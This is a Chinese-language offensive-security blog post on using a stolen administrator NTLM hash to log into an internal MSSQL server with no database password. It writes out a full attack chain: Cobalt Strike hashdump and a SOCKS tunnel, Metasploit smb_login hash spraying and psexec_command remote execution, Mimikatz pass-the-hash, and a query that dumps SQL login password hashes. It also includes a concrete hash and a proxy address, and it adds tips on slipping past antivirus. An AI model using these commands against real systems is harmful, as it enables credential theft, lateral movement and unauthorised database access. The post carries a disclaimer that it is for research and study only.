原文链接:无需密码 直连目标内网Mssql
声明:
文章仅为攻防研究学习交流之用,严禁利用相关技术去从事一切未经合法授权的入侵攻击破坏活动,因此所产生的一切不良后果与本文作者及该公众号无关
0x01 实战场景说明
日常渗透中,当我们拿到目标内网的一台机器稳住权限之后,按正常流程走,接着应该是要在当前机器上去翻各种账号密码 [具体要翻哪些密码,怎么"翻",后续抽空会单独说明,此处不啰嗦]
而抓取当前系统的所有用户明文密码 [或密码hash] 便是这其中一项,因为有了系统管理员账号密码,后面才好继续拿着这个账号密码对内网的其它存活机有针对性的进行批量"喷射",以便在获取到更多的系统权限之后,能在这些系统上翻到更多的核心系统管理员账号密码
ok,前面废了半天话,其实都在铺垫,下面直入正题,假设通过前面的"喷射",现在又拿到了目标内网的另一台机器权限,通过远程执行时发现上面跑的有mssql,问题来了,此时如果想连到这台mssql上继续翻翻看里面还有没有其它Web业务系统的后台管理账号密码,但现在手里只有对方的系统权限,并没有任何可用的数据库账号密码,怎么连...
0x02 简单原理
众所周知,mssql是支持直接Window认证登录的,而且很多Win服务器上的Mssql默认都是用administrator用户去安装的,也就是说,只要能拿到目标系统administrator的密码hash [ntlm hash],就可以利用本地hash注入 [关于hash注入的细节原理不再啰嗦,谷歌上一堆],之后再借助socks即可直连目标内网指定Mssql,ok,说完就来实操一把看看效果
0x03 实操过程
假设手里已经事先拿到了目标内网的一台system权限的跳板机[192.168.137.16],然后顺手抓了本地hash,起了socks [Cs默认为socks4a版本,且无密码],既然提到socks就多说一句 ,Socks非常依赖两端 [本地到 VPS + VPS 到目标] 的网络环境,它只适合用来帮我们更方便的去访问目标内网的各种服务, 并不太适合用它来挂着各种本地工具去做一些扫描,爆破类的操作,两端只要有任意一端网络环境质量不好,都很可能会直接影响你的扫描,爆破精度,造成严重漏报... 当然啦,如果你两端的网络环境非常好,可能也并没太大感觉
- beacon> hashdump
- beacon> socks 9081
复制代码
接着就没啥好说的了,把自己本地的msf直接用前面的socks挂到目标内网去,开始批量hash传递[即"喷射"] [ 此处暂不讨论pth被检测的问题]
- $ sudo msfconsole
- msf5 > setg Proxies socks4:11.93.87.219:9081
- msf5 > setg ReverseAllowProxy true
- msf5 > use auxiliary/scanner/smb/smb_login
- msf5 > set rhosts file:targetips.txt
- msf5 > set smbdomain .
- msf5 > set smbuser administrator
- msf5 > set smbpassaad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7
- msf5 > set blank_passwords true
- msf5 > set threads 2
- msf5 > set bruteforce_speed 2
- msf5 > spool smb_login_succeed.txt
- msf5 > run
复制代码
很快就撞到了一台机器 [192.168.137.160],通过远程执行发现上面起的有mssql,此时就想连上去继续翻密码,但手里没数据库账号密码,怎么连? 顺便再补充一点,此处远程执行直接用的psexec_command,其实各种杀软拦的主要还是meter,像各种远程命令执行的模块,也许并不会拦 [当然,跟你执行命令的方式也有关,如果直接调cmd.exe很可能也会拦]
- msf5 > use auxiliary/admin/smb/psexec_command
- msf5 > set rhosts 192.168.137.160
- msf5 > set smbdomain .
- msf5 > set smbuser administrator
- msf5 > set smbpassaad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7
- msf5 > set threads 1
- msf5 > set command netstat -ano
- msf5 > run
复制代码
最后,到本地的另外一台windows机器上用刚刚的账号密码hash本地注入把scokscap先起起来,然后配好代理,再把SSMS加进去,右键让它走隧道启动
- # mimikatz "privilege::debug" "sekurlsa::pth/user:administrator /domain:. /ntlm:ccef208c6485269c20db2cad21734fe7/run:"C:\*in.exe"" "exit"
复制代码
接着,指定目标内网Mssql的ip,选择使用Windows 身份认证进行连接
至此已经无需密码成功连接,我想我应该是已经说明白了,之所以要先起Sockscap,然后再在SocksCap中去起SSMS,是因为要用到代理,之所以能连接成功是因为SSMS会继承Sockscap的进程权限,另外,实际渗透中所有需要操作Mssql的地方建议全部用SSMS,最好用的Mssql客户端,没有之一 [会自动帮你避免非常多的也是完全不必要的问题]
- select@@version;
- SELECTname,password_hashFROMmaster.sys.sql_logins;
- beacon> socks stop
复制代码
注意事项:
用来进行hash注入的那个账户必须是安装mssql所用的账户,比如,如果目标用的是其它的本地管理账户安装的,那只要拿到对应账号的密码hash去正常操作即可,如果目标是用某个域账户安装的,因为域信任关系的问题,此方法可能无效,其实,基于此的衍生用法还很多,换句话说,只要支持直接windows认证登录的服务,你都可 以想法设法的这么尝试,建议在真实实战中思路要灵活多变,举一反三,祝弟兄们好运
|